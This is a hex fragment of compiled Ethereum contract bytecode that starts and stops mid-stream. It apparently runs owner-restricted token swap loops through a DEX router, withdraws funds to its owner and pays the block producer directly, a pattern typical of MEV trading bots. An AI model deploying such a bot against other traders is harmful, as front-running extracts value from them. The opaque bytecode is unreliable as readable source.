6040516108f99190613bda565b60405180910390f35b34801561090d575f80fd5b50610928600480360381019061092391906141ca565b613239565b005b348015610935575f80fd5b50610950600480360381019061094b9190613eec565b6132d0565b005b60145f9054906101000a900460ff1681565b5f805b858590508110156109c3576109a38387878481811061098957610988614233565b5b905060200201602081019061099e9190613eec565b613352565b826109ae919061428d565b915080806109bb906142c0565b915050610967565b5080831115610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fe90614361565b60405180910390fd5b5050505050565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610a955750610a666120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb906143c9565b60405180910390fd5b80600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60125f9054906101000a900460ff1681565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610bc55750610b966120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610be4578060145f6101000a81548160ff0219169083151502179055505b50565b610bef6133d3565b5f4790505f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c4e91906140d1565b602060405180830381865afa158015610c69573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8d91906143fb565b90505f821180610c9c57505f81115b610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290614470565b60405180910390fd5b5f811115610d6b5760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b8152600401610d3d9190613bda565b5f604051808303815f87803b158015610d54575f80fd5b505af1158015610d66573d5f803e3d5ffd5b505050505b4791508273ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015610db1573d5f803e3d5ffd5b50505050565b600a5481565b61271081565b600e5481565b610dd16133d3565b5f5b83839050811015610e6c578160165f868685818110610df557610df4614233565b5b9050602002016020810190610e0a9190613eec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610e64906142c0565b915050610dd3565b50505050565b5f60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610efa5750610ecb6120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f30906143c9565b60405180910390fd5b600754905090565b60105f9054906101000a900460ff1681565b610f5b6133d3565b8060039080519060200190610f7192919061388d565b5050565b5f60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610ffd5750610fce6120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61103c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611033906143c9565b60405180910390fd5b600554905090565b606060165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806110cd575061109e6120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906143c9565b60405180910390fd5b600480548060200260200160405190810160405280929190818152602001828054801561118b57602002820191905f5260205f20905b815f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611142575b5050505050905090565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061121c57506111ed6120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61125b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611252906143c9565b60405180910390fd5b80600d60026101000a81548160ff02191690831515021790555050565b601060019054906101000a900460ff16156112e457601154600d5f9054906101000a900460ff1660ff1610156112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112da906144d8565b60405180910390fd5b5b565b4173ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015611329573d5f803e3d5ffd5b50565b600f602052805f5260405f205f915054906101000a900460ff1681565b60105f9054906101000a900460ff16156114eb57600f5f4173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156113bf5750600d60029054906101000a900460ff165b1561140f574173ffffffffffffffffffffffffffffffffffffffff166108fc600e5490811502906040515f60405180830381858888f19350505050158015611409573d5f803e3d5ffd5b50611477565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600e5490811502906040515f60405180830381858888f19350505050158015611475573d5f803e3d5ffd5b505b5f4790505f8111156114e95760175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156114e7573d5f803e3d5ffd5b505b505b565b5f80841015611531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152890614540565b60405180910390fd5b5f838361153e919061455e565b90505f811015611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a906145db565b60405180910390fd5b5f601354866115929190614626565b90508581836115a1919061428d565b11156115b2576001925050506115fd565b818611156115f7575f86606484896115ca919061455e565b6115d49190614656565b6115de9190614626565b905060155481116115f557600193505050506115fd565b505b5f925050505b9392505050565b61160c6133d3565b6116155f613451565b565b60155481565b60115481565b6060611630600754613512565b600c819055505f600c541161167a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611671906146e1565b60405180910390fd5b6001151560165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515148061170f57506116d96120a5565b73ffffffffffffffffffffffffffffffffffffffff166116f76135e5565b73ffffffffffffffffffffffffffffffffffffffff16145b61174e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611745906143c9565b60405180910390fd5b5f60045f8154811061176357611762614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117c391906140d1565b602060405180830381865afa1580156117de573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061180291906143fb565b90505f80600d5f6101000a81548160ff021916908360ff1602179055505b5f8211801561183a57506005548166ffffffffffffff1614155b15611f35575f60046001600480549050611854919061455e565b8154811061186557611864614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160038466ffffffffffffff16815481106118c5576118c4614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161190991906140d1565b602060405180830381865afa158015611924573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061194891906143fb565b90505f61195484613512565b90505f6006541480611967575060065481105b15611a5e5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed1739855f600460038866ffffffffffffff16815481106119ca576119c9614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546040518663ffffffff1660e01b8152600401611a15959493929190614821565b5f604051808303815f875af1158015611a30573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611a589190614939565b50611b53565b600654905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee60065486600460038866ffffffffffffff1681548110611ac357611ac2614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546040518663ffffffff1660e01b8152600401611b0e959493929190614980565b5f604051808303815f875af1158015611b29573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611b519190614939565b505b60145f9054906101000a900460ff168015611b7a575060125f9054906101000a900460ff16155b15611ceb57611c91818360046001600480549050611b98919061455e565b81548110611ba957611ba8614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160038866ffffffffffffff1681548110611c0957611c08614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611c4d91906140d1565b602060405180830381865afa158015611c68573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c8c91906143fb565b6114ed565b611cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc790614a22565b60405180910390fd5b600160125f6101000a81548160ff0219169083151502179055505b8160046001600480549050611d00919061455e565b81548110611d1157611d10614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160038666ffffffffffffff1681548110611d7157611d70614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611db591906140d1565b602060405180830381865afa158015611dd0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611df491906143fb565b11611e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2b90614a8a565b60405180910390fd5b8280611e3f90614aba565b935050600d5f81819054906101000a900460ff1680929190611e6090614af4565b91906101000a81548160ff021916908360ff1602179055505060045f81548110611e8d57611e8c614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611eed91906140d1565b602060405180830381865afa158015611f08573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f2c91906143fb565b93505050611820565b600d60019054906101000a900460ff168015611f5057505f82115b1561202e5760045f81548110611f6957611f68614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401611fec929190614b6e565b6020604051808303815f875af1158015612008573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061202c9190614ba9565b505b612036611349565b5f60125f6101000a81548160ff0219169083151502179055505f67ffffffffffffffff81111561206957612068613c96565b5b6040519080825280602002602001820160405280156120975781602001602082028036833780820191505090505b509250505095945050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061215457506121256120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218a906143c9565b60405180910390fd5b600654905090565b600d60029054906101000a900460ff1681565b6016602052805f5260405f205f915054906101000a900460ff1681565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061225257506122236120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612288906143c9565b60405180910390fd5b88600490805190602001906122a792919061388d565b5087600581905550866006819055508560078190555084600e819055508360085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260105f6101000a81548160ff02191690831515021790555081601060016101000a81548160ff02191690831515021790555081156123d5575f8111801561238e57506005548111155b6123cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c490614c44565b60405180910390fd5b806011819055505b5f600e54905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f8154811061242757612426614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036127415760075481612478919061428d565b90505f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016124d591906140d1565b602060405180830381865afa1580156124f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061251491906143fb565b90508060075411156126975760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161257a91906140d1565b602060405180830381865afa158015612595573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125b991906143fb565b6007546125c6919061455e565b91505f8211156126925781471015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90614cac565b60405180910390fd5b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0836040518263ffffffff1660e01b81526004015f604051808303818588803b15801561267a575f80fd5b505af115801561268c573d5f803e3d5ffd5b50505050505b61273b565b806007541461273a575f600754826126af919061455e565b905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040161270b9190613bda565b5f604051808303815f87803b158015612722575f80fd5b505af1158015612734573d5f803e3d5ffd5b50505050505b5b50612ac8565b5f60045f8154811061275657612755614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b81526004016127b8929190614cca565b602060405180830381865afa1580156127d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906127f791906143fb565b11612837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282e90614d61565b60405180910390fd5b5f60045f8154811061284c5761284b614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016128ac91906140d1565b602060405180830381865afa1580156128c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906128eb91906143fb565b9050806007541115612a475760075460045f8154811061290e5761290d614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b815260040161296e91906140d1565b602060405180830381865afa158015612989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906129ad91906143fb565b10156129ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e590614dc9565b60405180910390fd5b612a4260045f81548110612a0557612a04614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333084600754612a3d919061455e565b6135ec565b612ac6565b8060075414612ac557612ac460045f81548110612a6757612a66614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075484612abf919061455e565b61373e565b5b5b505b600e54905047811115612b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0790614e57565b60405180910390fd5b5f8147612b1d919061455e565b90505f8114612b8c5760175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b8a573d5f803e3d5ffd5b505b5f60045f81548110612ba157612ba0614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e3060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401612c24929190614cca565b602060405180830381865afa158015612c3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612c6391906143fb565b03612d435760045f81548110612c7c57612c7b614233565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546040518363ffffffff1660e01b8152600401612d01929190614e75565b6020604051808303815f875af1158015612d1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612d419190614ba9565b505b5050505050505050505050565b600d60019054906101000a900460ff1681565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612dea5750612dbb6120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e20906143c9565b60405180910390fd5b80600e8190555050565b612e3b6133d3565b5f4790505f811115612e8c578173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612e8a573d5f803e3d5ffd5b505b5050565b612e986133d3565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612ed291906140d1565b602060405180830381865afa158015612eed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612f1191906143fb565b90505f8111612f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4c90614ee6565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401612f90929190614e75565b6020604051808303815f875af1158015612fac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fd09190614ba9565b50505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061308357506130546120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6130c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b9906143c9565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061317057506131416120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156131905780600d60016101000a81548160ff0219169083151502179055505b50565b601060019054906101000a900460ff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60038181548110613207575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806132c057506132916120a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156132cd57806015819055505b50565b6132d86133d3565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603613346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161333d90614f74565b60405180910390fd5b61334f81613451565b50565b5f8273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161338c91906140d1565b602060405180830381865afa1580156133a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906133cb91906143fb565b905092915050565b6133db6135e5565b73ffffffffffffffffffffffffffffffffffffffff166133f96120a5565b73ffffffffffffffffffffffffffffffffffffffff161461344f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161344690614fdc565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f8460046040518363ffffffff1660e01b8152600401613571929190614ffa565b5f60405180830381865afa15801561358b573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906135b39190614939565b905080600182516135c4919061455e565b815181106135d5576135d4614233565b5b6020026020010151915050919050565b5f33905090565b5f808573ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b86868660405160240161362293929190615028565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161368c91906150c9565b5f604051808303815f865af19150503d805f81146136c5576040519150601f19603f3d011682016040523d82523d5f602084013e6136ca565b606091505b50915091508180156136f757505f815114806136f65750808060200190518101906136f59190614ba9565b5b5b613736576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161372d90615129565b60405180910390fd5b505050505050565b5f808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b8585604051602401613772929190614e75565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516137dc91906150c9565b5f604051808303815f865af19150503d805f8114613815576040519150601f19603f3d011682016040523d82523d5f602084013e61381a565b606091505b509150915081801561384757505f815114806138465750808060200190518101906138459190614ba9565b5b5b613886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161387d90615191565b60405180910390fd5b5050505050565b828054828255905f5260205f20908101928215613903579160200282015b82811115613902578251825f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906138ab565b5b5090506139109190613914565b5090565b5b8082111561392b575f815f905550600101613915565b5090565b5f8115159050919050565b6139438161392f565b82525050565b5f60208201905061395c5f83018461393a565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261399457613993613973565b5b8235905067ffffffffffffffff8111156139b1576139b0613977565b5b6020830191508360208202830111156139cd576139cc61397b565b5b9250929050565b5f819050919050565b6139e6816139d4565b81146139f0575f80fd5b50565b5f81359050613a01816139dd565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613a3082613a07565b9050919050565b613a4081613a26565b8114613a4a575f80fd5b50565b5f81359050613a5b81613a37565b92915050565b5f805f8060608587031215613a7957613a7861396b565b5b5f85013567ffffffffffffffff811115613a9657613a9561396f565b5b613aa28782880161397f565b94509450506020613ab5878288016139f3565b9250506040613ac687828801613a4d565b91505092959194509250565b613adb8161392f565b8114613ae5575f80fd5b50565b5f81359050613af681613ad2565b92915050565b5f8060408385031215613b1257613b1161396b565b5b5f613b1f85828601613a4d565b9250506020613b3085828601613ae8565b9150509250929050565b5f60208284031215613b4f57613b4e61396b565b5b5f613b5c84828501613ae8565b91505092915050565b5f613b6f82613a07565b9050919050565b613b7f81613b65565b8114613b89575f80fd5b50565b5f81359050613b9a81613b76565b92915050565b5f60208284031215613bb557613bb461396b565b5b5f613bc284828501613b8c565b91505092915050565b613bd4816139d4565b82525050565b5f602082019050613bed5f830184613bcb565b92915050565b5f62ffffff82169050919050565b613c0a81613bf3565b82525050565b5f602082019050613c235f830184613c01565b92915050565b5f805f60408486031215613c4057613c3f61396b565b5b5f84013567ffffffffffffffff811115613c5d57613c5c61396f565b5b613c698682870161397f565b93509350506020613c7c86828701613ae8565b9150509250925092565b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b613ccc82613c86565b810181811067ffffffffffffffff82111715613ceb57613cea613c96565b5b80604052505050565b5f613cfd613962565b9050613d098282613cc3565b919050565b5f67ffffffffffffffff821115613d2857613d27613c96565b5b602082029050602081019050919050565b5f613d4b613d4684613d0e565b613cf4565b90508083825260208201905060208402830185811115613d6e57613d6d61397b565b5b835b81811015613d975780613d838882613a4d565b845260208401935050602081019050613d70565b5050509392505050565b5f82601f830112613db557613db4613973565b5b8135613dc5848260208601613d39565b91505092915050565b5f60208284031215613de357613de261396b565b5b5f82013567ffffffffffffffff811115613e0057613dff61396f565b5b613e0c84828501613da1565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613e4781613a26565b82525050565b5f613e588383613e3e565b60208301905092915050565b5f602082019050919050565b5f613e7a82613e15565b613e848185613e1f565b9350613e8f83613e2f565b805f5b83811015613ebf578151613ea68882613e4d565b9750613eb183613e64565b925050600181019050613e92565b5085935050505092915050565b5f6020820190508181035f830152613ee48184613e70565b905092915050565b5f60208284031215613f0157613f0061396b565b5b5f613f0e84828501613a4d565b91505092915050565b5f805f60608486031215613f2e57613f2d61396b565b5b5f613f3b868287016139f3565b9350506020613f4c868287016139f3565b9250506040613f5d868287016139f3565b9150509250925092565b5f805f805f60808688031215613f8057613f7f61396b565b5b5f613f8d888289016139f3565b955050602086013567ffffffffffffffff811115613fae57613fad61396f565b5b613fba8882890161397f565b94509450506040613fcd88828901613a4d565b9250506060613fde888289016139f3565b9150509295509295909350565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61401d816139d4565b82525050565b5f61402e8383614014565b60208301905092915050565b5f602082019050919050565b5f61405082613feb565b61405a8185613ff5565b935061406583614005565b805f5b8381101561409557815161407c8882614023565b97506140878361403a565b925050600181019050614068565b5085935050505092915050565b5f6020820190508181035f8301526140ba8184614046565b905092915050565b6140cb81613a26565b82525050565b5f6020820190506140e45f8301846140c2565b92915050565b5f805f805f805f805f6101208a8c0312156141085761410761396b565b5b5f8a013567ffffffffffffffff8111156141255761412461396f565b5b6141318c828d01613da1565b99505060206141428c828d016139f3565b98505060406141538c828d016139f3565b97505060606141648c828d016139f3565b96505060806141758c828d016139f3565b95505060a06141868c828d01613a4d565b94505060c06141978c828d01613ae8565b93505060e06141a88c828d01613ae8565b9250506101006141ba8c828d016139f3565b9150509295985092959850929598565b5f602082840312156141df576141de61396b565b5b5f6141ec848285016139f3565b91505092915050565b5f806040838503121561420b5761420a61396b565b5b5f61421885828601613a4d565b925050602061422985828601613a4d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f614297826139d4565b91506142a2836139d4565b92508282019050808211156142ba576142b9614260565b5b92915050565b5f6142ca826139d4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036142fc576142fb614260565b5b600182019050919050565b5f82825260208201905092915050565b7f4e6f7420656e6f75676820746f6b656e73203a280000000000000000000000005f82015250565b5f61434b601483614307565b915061435682614317565b602082019050919050565b5f6020820190508181035f8301526143788161433f565b9050919050565b7f596f7520617265206e6f74206120626f7373203a5000000000000000000000005f82015250565b5f6143b3601583614307565b91506143be8261437f565b602082019050919050565b5f6020820190508181035f8301526143e0816143a7565b9050919050565b5f815190506143f5816139dd565b92915050565b5f602082840312156144105761440f61396b565b5b5f61441d848285016143e7565b91505092915050565b7f4e6f2066756e647320746f2077697468647261770000000000000000000000005f82015250565b5f61445a601483614307565b915061446582614426565b602082019050919050565b5f6020820190508181035f8301526144878161444e565b9050919050565b7f6e6f20736520707565646520636162726f6e00000000000000000000000000005f82015250565b5f6144c2601283614307565b91506144cd8261448e565b602082019050919050565b5f6020820190508181035f8301526144ef816144b6565b9050919050565b7f657374696d6174656420616d6f756e74206973207a65726f206c6f6c000000005f82015250565b5f61452a601c83614307565b9150614535826144f6565b602082019050919050565b5f6020820190508181035f8301526145578161451e565b9050919050565b5f614568826139d4565b9150614573836139d4565b925082820390508181111561458b5761458a614260565b5b92915050565b7f676f74207a65726f20746f6b656e73206c6f6c000000000000000000000000005f82015250565b5f6145c5601383614307565b91506145d082614591565b602082019050919050565b5f6020820190508181035f8301526145f2816145b9565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f614630826139d4565b915061463b836139d4565b92508261464b5761464a6145f9565b5b828204905092915050565b5f614660826139d4565b915061466b836139d4565b9250828202614679816139d4565b915082820484148315176146905761468f614260565b5b5092915050565b7f6e6f207365207075656465206c6562726f6e00000000000000000000000000005f82015250565b5f6146cb601283614307565b91506146d682614697565b602082019050919050565b5f6020820190508181035f8301526146f8816146bf565b9050919050565b5f819050919050565b5f819050919050565b5f61472b614726614721846146ff565b614708565b6139d4565b9050919050565b61473b81614711565b82525050565b5f81549050919050565b5f819050815f5260205f209050919050565b5f815f1c9050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6147996147948361475d565b614768565b9050919050565b5f6147ab8254614787565b9050919050565b5f600182019050919050565b5f6147c882614741565b6147d28185613e1f565b